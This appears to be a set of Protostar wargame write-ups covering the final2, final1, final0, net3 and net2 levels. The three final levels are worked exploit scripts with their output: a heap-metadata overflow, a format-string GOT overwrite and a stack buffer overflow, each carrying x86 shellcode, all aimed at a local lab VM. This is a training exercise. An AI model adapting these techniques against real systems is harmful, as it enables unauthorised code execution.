Exploit Exercises Protostar — final2

root@protostar:/home/user# cat final2.py
#!/usr/bin/python

# Standard heap-based buffer overflow exploited via heap metadata. Check out
# heap3 for more information.

import socket

HOST = "127.0.0.1"
PORT = 2993

s = socket.socket()
s.connect((HOST, PORT))

# First chunk is our hellcode holder and check_path() terminator
chunk1 = "FSRD"
chunk1 += "\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
chunk1 += "\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2"
chunk1 += "\x07\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xe2\xff\xff\xff"
chunk1 += "\x70\x77\x6e\x65\x64\x21\x0a"
lim = 128-len(chunk1)-1
for i in range(lim):
chunk1 += '1'
# '/' terminates the search from check_path()
chunk1 += '/'
print "[*] DEBUG: sizeof(chunk1): " + str(len(chunk1))

# Second chunk holds values which will overwrite heap metadata.
# Address of GOT entry for write() = 0x0804d41c
# Address of our own chunk1 = 0x0804e00c
chunk2 = "FSRDROOT/" + "\xfc\xff\xff\xff"*2 + "\x10\xd4\x04\x08" + "\x0c\xe0\x04\x08"
lim = 128-len(chunk2)-1
for i in range(lim):
chunk2 += '2'
chunk2 += '\x00'
print "[*] DEBUG: sizeof(chunk2): " + str(len(chunk2))

# Additional chunk needs to be added to call write() function with our
# overwritten GOT entry
chunk3 = ""
lim = 128-len(chunk3)-1
for i in range(lim):
chunk3 += '3'
chunk3 += '\x00'
print "[*] DEBUG: sizeof(chunk3): " + str(len(chunk3))

payload = chunk1 + chunk2 + chunk3
print "[+] Sending payload:\n" + payload + " (length = " + str(len(payload)) +")"
s.send(payload)
print s.recv(1024)
print s.recv(1024)

s.close()
root@protostar:/home/user# chmod +x final2.py
root@protostar:/home/user# ./final2.py
[*] DEBUG: sizeof(chunk1): 128
[*] DEBUG: sizeof(chunk2): 128
[*] DEBUG: sizeof(chunk3): 128
[+] Sending payload:
FSRD�
����������������1�1�1�1Ұ�Y�̀1�1۰̀�����pwned!
1111111111111111111111111111111111111111111111111111111111111111111/FSRDROOT/���������
�2222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222223333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 (length = 384)
Process OK

pwned!

root@protostar:/home/user# ls /tmp/*
ls: cannot access /tmp/*: No such file or directory

Address of chunk1 will vary, hence customization of this exploit is required. Comments should shed some light on the matter.

Same approach as in final1.

Exploit Exercises Protostar — final1

user@protostar:~$ cat final1.py
#!/usr/bin/python

import socket
import struct

# Obviously I'm doing this from the Protostar VM itself. Keep that in mind in
# case you would want to do that via network (offsets in writing will be
# different)
HOST = "127.0.0.1"
PORT = 2994

s = socket.socket()
s.connect((HOST, PORT))

print s.recv(1024) # First prompt from the server

username = "username "
# Address of GOT entry for puts() = 0x0804a194
username +="-\x94\xa1\x04\x08----\x95\xa1\x04\x08----\x96\xa1\x04\x08----\x97\xa1\x04\x08"
username += "\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2"
username += "\x07\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xe2\xff\xff\xff"
username += "\x70\x77\x6e\x65\x64\x21\x0a"
# Using \n is crucial in this example due to inner workings of fgets()
username += '\n'
print "[*] DEBUG: sizeof(username) == " + str(len(username))

# Our ret-addr is address of username array which is global variable (hence
# static address + it resides in different code segment). We also need to take
# into notice shellcode's offset (it's in the middle of username[]).
# ret-addr = 0x804a23d
login = "login "
login += "%p"*13+"%75p" + "%n" # 1st write, LSB of puts() ptr from GOT
login += "%101p" + "%n" # 2nd write, middle byte of puts() ptr from GOT
login += "%98p" + "%n" # 3rd write, middle byte of puts() ptr from GOT
login += "%260p" + "%n" # 4th write, MSB of puts() ptr from GOT
login += '\n'
print "[*] DEBUG: sizeof(login) == " + str(len(login))

payload = username + login
print "[+] Sending payload:\n" + "\"" + payload + "\"" + " (length = " + str(len(payload)) + ")"
s.send(payload)
print s.recv(1024)
print s.recv(1024)

s.close()
user@protostar:~$ chmod +x final1.py
user@protostar:~$ ./final1.py
[final1] $
[*] DEBUG: sizeof(username) == 78
[*] DEBUG: sizeof(login) == 59
[+] Sending payload:
"username -��----��----��----���1�1�1�1Ұ�Y�̀1�1۰̀�����pwned!

login %p%p%p%p%p%p%p%p%p%p%p%p%p%75p%n%101p%n%98p%n%260p%n
" (length = 137)
[final1] $
[final1] $ pwned!

It was easy but debugging was major PITA. (Done via dmesg and /tmp/core-files in gdb.)

Steps were as follows:

1. Establish communication channel (meaning, properly hit logit() function)
2. Initial crash
3. Start peeking at memory (writing via %n and inspecting faulty instructions via dmesg)
4. Craft an exploit

Exploit Exercises Protostar — final0

Classic stack-based buffer overflow via gets(). Nothing fancy here.

user@protostar:~$ cat final0.py
#!/usr/bin/python

import socket
import struct

HOST = "127.0.0.1"
PORT = 2995

s = socket.socket()
s.connect((HOST, PORT))

payload = ""
for i in range(532):
payload = payload + 'a'
payload = payload + "\xd0\xfc\xff\xbf" # ret-addr (we're returning to stack-based shellcode)
payload = payload + "\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x59\xb2"
payload = payload + "\x07\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xe2\xff\xff\xff"
payload = payload + "\x70\x77\x6e\x65\x64\x21\x0a"

s.send(payload)
print s.recv(1024)

s.close()
user@protostar:~$ chmod +x final0.py
user@protostar:~$ ./final0.py
pwned!

RET was deducted from core files.

Exploit Exercises Protostar — net3

This challenge is more-or-less straightforward. Source code is quite easy to grasp and shows plainly what needs to be done, however one can easily craft wrong input that looks completely valid. Hence, focus should be applied into packet design. (I myself had some problems with username, it is hinted in the source code.)

user@protostar:~$ cat net3.c
// I really *do* hate Beej's Guide to Network Programming. I can't stress enough
// how awfully it is written.
// Read books from Stevens or just google for network code and read it.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define HOST "127.0.0.1"
#define PORT 2996

int main(void)
{
char response[64];
int sockfd, len, i;
struct sockaddr_in srv_addr;

sockfd = socket(PF_INET, SOCK_STREAM, 0);

memset(&srv_addr, 0, sizeof(srv_addr));
srv_addr.sin_family = AF_INET;
srv_addr.sin_port = htons(PORT);
srv_addr.sin_addr.s_addr = inet_addr(HOST);

if(connect(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr)) != 0) {
printf("[-] Error: Unable to connect.\n");
exit(-1);
} else
printf("[+] Connected successfully.\n");

send(sockfd, "\x00\x1f", 2, 0); // size of buffer sent as big-endian
send(sockfd, "\x17", 1, 0); // marker for switch
send(sockfd, "\x5"net3\0", 6, 0); // size (sizeof("net3")+1) and resource
send(sockfd, "\xd"awesomesauce\0", 14, 0); // size and username
send(sockfd, "\x9"password\0", 10, 0); // size and password
// Note: Yes, in C, "AB"CD" makes "ABCD" string. And it is required in username
// since "\x0dawesomesauce" treats \x0da as number.

len = recv(sockfd, response, sizeof(response), 0);
response[len] = '\0';

for(i=0; i<len; i++)
printf("%c", response[i]);
putchar('\n');

if(close(sockfd) != 0) {
printf("[-] Error: Failed to close connection.\n");
exit(-1);
} else
printf("[+] Disconnected successfully.\n");

return 0;
}
user@protostar:~$ cc net3.c -o net3
user@protostar:~$ ./net3
[+] Connected successfully.

!successful
[+] Disconnected successfully.

And now only finals are left.

Exploit Exercises Protostar — net2

There is nothing to explain in this level. Primitives from net0 and net1 are combined, hence if you’ve solved them you automatically know how to solve this one.

user@protostar:~$ cat net2.py
#!/usr/bin/python

import socket
import struct

HOST = "127.0.0.1"
PORT = 2997

s = socket.socket()
s.connect((HOST, PORT))

x = 0
for i in range(4):
tmp = s.recv(1024)
x = x + struct.unpack("<I", tmp)[0]
x = struct.pack("<I", x)
s.send(str(x))
print s.recv(1024)

s.close()
user@protostar:~$ chmod +x net2.py
user@protostar:~$ ./net2.py
you added them correctly